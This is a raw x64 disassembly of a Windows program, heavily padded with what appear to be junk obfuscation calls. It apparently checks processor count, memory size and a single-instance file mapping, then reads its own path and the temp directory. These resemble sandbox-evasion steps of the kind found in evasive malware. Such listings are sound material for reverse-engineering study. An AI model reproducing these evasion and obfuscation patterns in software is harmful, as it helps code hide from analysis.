mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x1000
mov edx, r13d
call fcn.1400058b0
sub rsp, 0x10
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], eax
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, esi
mov r9d, edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
add rsp, 0x30
mov qword [rbp + 0xd0], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov dword [rbp + 0x130], eax
cmp qword [rbp + 0xd0], 0
setne bl
sub rsp, 0x20
mov ecx, 0xfd
mov edx, r13d
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x130]
sub rsp, 0x20
mov ecx, 0xff
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xcd97
mov edx, 0xf1
mov r8d, r13d
call fcn.1400058b0
mov ecx, 0xdb
mov edx, r13d
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x1f
call fcn.1400058b0
movabs rcx, 0x49251eefcd19a1d7
call fcn.1400058b0
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0x54547ff37627c21
mov edx, 0x3ec24a
mov r8d, 0xba
mov r9d, 0x32364f
call fcn.1400058b0
mov edx, 0xf6
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0xb7
mov edx, r13d
mov r8d, r13d
call fcn.1400058b0
add rsp, 0x20
mov ecx, dword [rbp + 0x130]
cmp ecx, eax
setne byte [rbp + 0x147]
and bl, byte [rbp + 0x147]
mov byte [rbp + 0x146], bl
movzx eax, byte [rbp + 0x146]
cmp al, 1
jne 0x14000e83a
mov rcx, qword [rbp + 0xd0]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov esi, eax
sub rsp, 0x20
mov rdi, qword [rbp + 0x88]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
add rsp, 0x20
mov eax, dword [rdi + 0x20]
mov dword [rbp + 0x11c], eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xc32d47
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xad
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 2
call fcn.1400058b0
movabs rcx, 0xe6f5e839108c4bdf
mov edx, esi
mov r8d, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0x147]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0x5a
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xd2
call fcn.1400058b0
mov ecx, 2
call fcn.1400058b0
movabs rcx, 0xca4fbe1c30ae603e
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, 2
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov ecx, dword [rbp + 0x11c]
cmp ecx, eax
setb byte [rbp + 0x144]
movzx eax, byte [rbp + 0x144]
cmp al, 1
je 0x14000e864
movzx esi, byte [rbp + 0x147]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
xor r15d, esi
or r15d, dword [rbp + 0x13c]
mov edi, dword [rbp + 0x13c]
or edi, esi
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, dword [rbp + 0x13c]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
sub eax, esi
mov ebx, dword [rbp + 0x13c]
xor ebx, esi
sub ebx, r15d
sub ebx, r14d
xor ebx, eax
movabs r14, 0x7f181318a8d73692
lea rcx, [r14 + 0x40]
sub rsp, 0x20
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
add edi, ebx
movzx eax, byte [rbp + 0x147]
sub rsp, 0x20
mov ecx, 0xed
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x955d
mov edx, 8
call fcn.1400058b0
mov ecx, 0x1f
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x13c]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x501b
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov edx, 0x919582
mov rcx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
xor eax, ebx
xor eax, edi
mov rdi, qword [rbp + 0x90]
mov dword [rdi], eax
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
add rsp, 0x20
mov dword [rbp + 0x118], eax
mov rax, qword [rdi + 8]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x130]
mov eax, dword [rbp + 0x130]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x7d
mov edx, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0x46
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x130]
sub rsp, 0x20
mov ecx, 2
mov r8d, 0xd
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x130]
sub rsp, 0x20
movabs rcx, 0xa2792428193fd4c9
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0x146]
sub rsp, 0x20
mov ecx, 0xc6
mov r8d, 0xc2c958
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x72fd
mov edx, 0x3f
mov r9d, 0x90
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xe
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0xc56f
mov edx, 0x34
call fcn.1400058b0
movabs rcx, 0xfb0bbd4380000000
mov r8d, 0xb4
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
movabs rax, 0xfffff80000000
and rax, qword [rbp + 0x100]
mov qword [rbp + 0xa8], rax
movzx eax, byte [rbp + 0x144]
sub rsp, 0x20
mov ecx, 0xe4
xor edx, edx
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x13c]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x72e5d8
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x2231
mov edx, esi
call fcn.1400058b0
mov ecx, 0x26
mov edx, 0xa4
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x51
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x3b23
mov edx, 0xa4
call fcn.1400058b0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rcx, qword [rbp + 0xa8]
cmp rcx, rax
sete byte [rbp + 0x136]
cmp byte [rbp + 0x136], 0
jne 0x14000e864
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
add rsp, 0x20
mov r14, rax
movzx esi, byte [rbp + 0x147]
sub rsp, 0x20
mov ecx, 0x7c
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x130]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x1625
mov edx, esi
call fcn.1400058b0
mov ecx, 0x35
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x76cd48
mov edx, esi
mov r9d, esi
call fcn.1400058b0
mov ecx, 0xc55f
call fcn.1400058b0
movabs rcx, 0x8f944ebd2032cabd
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xf6
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add rdi, rax
movzx eax, byte [rbp + 0x146]
sub rsp, 0x20
mov ecx, 0x92
mov edx, 0xa2
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x13c]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x233f28
mov edx, esi
call fcn.1400058b0
mov ecx, 0xb713
call fcn.1400058b0
mov ecx, 0xe0
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x474d
mov edx, 0x76
call fcn.1400058b0
movabs rcx, 0xecd582ab30009500
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
add rbx, rax
imul rbx, rdi
sub rsp, 0x20
lea r15, [rbp - 0x80]
mov rcx, r15
xor edx, edx
mov r8, rbx
call fcn.140005750
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov r12, rax
movzx eax, byte [rbp + 0x146]
sub rsp, 0x20
mov ecx, 0x34
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0xb6
call fcn.1400058b0
mov ecx, 0xb6e1
call fcn.1400058b0
mov ecx, 0xb8
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x81c7
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0x8ad31e320c28415
lea rcx, [rdi + 0x100]
sub rsp, 0x20
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
add ebx, eax
movzx eax, byte [rbp + 0x146]
sub rsp, 0x20
mov ecx, 0x8c
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x3173
mov edx, esi
call fcn.1400058b0
mov ecx, 0xdc
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0xed9ca9
mov edx, esi
call fcn.1400058b0
mov ecx, 0x97c3
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov rcx, rdi
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
add edi, eax
xor edi, ebx
sub rsp, 0x20
mov rcx, r12
mov rdx, r15
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov dword [rbp + 0x124], eax
sub rsp, 0x20
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
mov qword [rbp + 0xc8], rax
mov r12, qword [rbp + 0xc8]
sub rsp, 0x20
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add rsp, 0x20
mov qword [rbp + 0xc0], rax
mov r15, qword [rbp + 0xc0]
movzx eax, byte [rbp + 0x136]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x10
call fcn.1400058b0
movabs rbx, 0x4c0e8e0f1bc9d349
mov rcx, rbx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
add edi, r14d
mov eax, dword [rbp + 0x118]
mov eax, dword [rbp + 0x118]
mov eax, dword [rbp + 0x118]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
add rbx, 3
sub rsp, 0x20
mov rcx, rbx
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0xb4f432
xor ecx, ecx
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
xor ebx, eax
xor ebx, edi
add ebx, r15d
cmp ebx, r12d
setge dil
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
call fcn.1400058b0
movabs rcx, 0xf02de6cde02f96c1
call fcn.1400058b0
mov ecx, 0x9c
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x46
mov edx, esi
call fcn.1400058b0
mov ecx, 0x6b0f
mov edx, esi
call fcn.1400058b0
mov ecx, 0x75
mov edx, 0x46
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x4fbb
mov edx, esi
mov r8d, esi
call fcn.1400058b0
movabs rcx, 0x7dba8c0f2c4e21bb
mov edx, 0x1b
call fcn.1400058b0
mov ecx, 0xfffffffb
mov edx, 0x56
mov r8d, 0xa89b1c
call fcn.1400058b0
add rsp, 0x20
add eax, r15d
mov dword [rbp + 0x120], eax
mov eax, dword [rbp + 0x120]
cmp eax, r12d
setle bl
movzx eax, byte [rbp + 0x146]
mov rax, qword [rbp + 0x100]
sub rsp, 0x20
mov ecx, 0xbd
mov r8d, 0x24
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x5747
mov edx, 0x49570a
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x5b3526
call fcn.1400058b0
mov ecx, 0x2ecd
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
and bl, dil
mov byte [rbp + 0x143], bl
movzx eax, byte [rbp + 0x143]
cmp al, 1
jne 0x14000e87c
mov rsi, qword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
xor r12d, esi
or r12d, dword [rbp + 0x13c]
mov edi, dword [rbp + 0x13c]
or edi, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, dword [rbp + 0x13c]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
imul ebx, eax
sub ebx, esi
mov r15d, dword [rbp + 0x13c]
xor r15d, esi
sub r15d, r12d
sub r15d, r14d
xor r15d, ebx
sub rsp, 0x20
movabs rcx, 0xf4495b2d2c236fc5
call fcn.1400058b0
add rsp, 0x20
xor r15d, eax
mov rax, qword [rbp + 0xa8]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x124]
mov eax, dword [rbp + 0x124]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0xc6
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0xeb
mov r8d, 0x4c12db
mov r9d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x124]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x124]
sub rsp, 0x20
movabs rcx, 0x91a6c0e43370370d
mov edx, 0x28180a
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xf1
xor ecx, ecx
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
xor edi, eax
imul edi, r15d
and edi, 1
sub rsp, 0x20
mov rcx, rdi
call fcn.1400058b0
add rsp, 0x20
and al, 1
sub rsp, 0x20
mov ecx, eax
call fcn.14000b0d0
xor ecx, ecx
mov edx, esi
call fcn.1400058b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rbp + 0xd0]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.exit
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.USER32.dll_MessageBoxA]
add rsp, 0x20
sub rsp, 0x20
mov edx, 0xad
xor ecx, ecx
call fcn.1400058b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rsi, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.1400058b0
movabs rcx, 0x428d15ae1179cc75
call fcn.1400058b0
mov edx, 0x4d
mov r8d, 0x24
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x13c]
mov eax, dword [rbp + 0x11c]
mov eax, dword [rbp + 0x13c]
mov eax, dword [rbp + 0x11c]
mov eax, dword [rbp + 0x13c]
mov eax, dword [rbp + 0x11c]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x7a
mov r8d, 0x88
call fcn.1400058b0
movabs rcx, 0x5ea893847ca3dd00
mov edx, 0x92
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
xorps xmm0, xmm0
mov rbx, qword [rbp + 0xa0]
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm0
movaps xmmword [rbx + 0x20], xmm0
movaps xmmword [rbx + 0x30], xmm0
movaps xmmword [rbx + 0x40], xmm0
movaps xmmword [rbx + 0x50], xmm0
movaps xmmword [rbx + 0x60], xmm0
movaps xmmword [rbx + 0x70], xmm0
movaps xmmword [rbx + 0x80], xmm0
movaps xmmword [rbx + 0x90], xmm0
movaps xmmword [rbx + 0xa0], xmm0
movaps xmmword [rbx + 0xb0], xmm0
movaps xmmword [rbx + 0xc0], xmm0
movaps xmmword [rbx + 0xd0], xmm0
movaps xmmword [rbx + 0xe0], xmm0
movaps xmmword [rbx + 0xf0], xmm0
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov rdi, rax
movzx eax, byte [rbp + 0x147]
mov rax, qword [rbp + 0xc0]
sub rsp, 0x20
mov ecx, 0xb2
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x49
call fcn.1400058b0
mov ecx, 0x5fe3
mov edx, esi
call fcn.1400058b0
mov ecx, 0x67
mov edx, 0x72db6b
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x96
call fcn.1400058b0
mov ecx, 0xbf39
mov edx, 0x98247c
call fcn.1400058b0
movabs rcx, 0x7f25db0e71ab8ceb
mov edx, 0xd8f090
call fcn.1400058b0
add rsp, 0x20
mov rax, qword [rbp + 0x100]
sub rsp, 0x20
mov ecx, 0xb3
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0x7f31
call fcn.1400058b0
mov ecx, 0x20
mov edx, 0xfd
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0xc42d
call fcn.1400058b0
movabs rcx, 0x80da24f18e547415
call fcn.1400058b0
mov ecx, 0x100
call fcn.1400058b0
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xffffffff
mov edx, 0xeb
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x120]
mov eax, dword [rbp + 0x120]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x120]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x120]
sub rsp, 0x20
movabs rcx, 0x98d7f4d53b69d355
mov edx, 0x319dbb
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0x143]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0x977bb56db91fd00
mov edx, 0x3dd2fa
call fcn.1400058b0
mov edx, 0xb6
mov r8d, 0x7d
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x100
call fcn.1400058b0
lea rdx, [rbp - 0x80]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
movzx eax, byte [rbp + 0x143]
sub rsp, 0x20
mov ecx, 0x72
call fcn.1400058b0
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x7f13
call fcn.1400058b0
mov ecx, 0x60
mov edx, 0xb4
mov r8d, 0xe6e196
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x130]
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x413b
mov edx, esi
mov r8d, esi
call fcn.1400058b0
movabs rdi, 0x5d882b050bfa0d67
mov edx, 0xc4
mov rcx, rdi
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor r14, rax
movzx eax, byte [rbp + 0x144]
sub rsp, 0x20
mov ecx, 0x4e
mov edx, 0xad
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0x124]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
call fcn.1400058b0
mov ecx, 0x2eeb
mov r8d, 0x808345
mov edx, esi
call fcn.1400058b0
mov ecx, 0x20
mov edx, esi
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x27c1
call fcn.1400058b0
mov edx, 0xd19c74
xor ecx, ecx
mov r8d, esi
call fcn.1400058b0
add rsp, 0x20
or rdi, 0x80
xor rdi, rax
xor rdi, r14
sub rsp, 0x20
lea rcx, [0x14001114c]
mov rdx, rbx
mov r8, rdi
call fcn.140005880
add rsp, 0x20
mov rax, qword [rbp + 0x100]
sub rsp, 0x20
mov ecx, 0xfb
mov edx, 0x2d
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x7c67
mov edx, 0x8e8327
call fcn.1400058b0
mov ecx, 0xef
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x2279aa
call fcn.1400058b0
mov ecx, 0xcbb3
call fcn.1400058b0
movabs rcx, 0xa3dbec4284d348f1
mov edx, 0x76
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, esi
call fcn.1400058b0
mov ecx, 2
mov r9d, 0xad
mov edx, esi
xor r8d, r8d
call fcn.1400058b0
movabs rcx, 0xa221409fb1208268
mov r8d, 0xd6
mov edx, esi
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x3e8
mov edx, esi
call fcn.1400058b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
call fcn.140006460
jmp 0x14000e860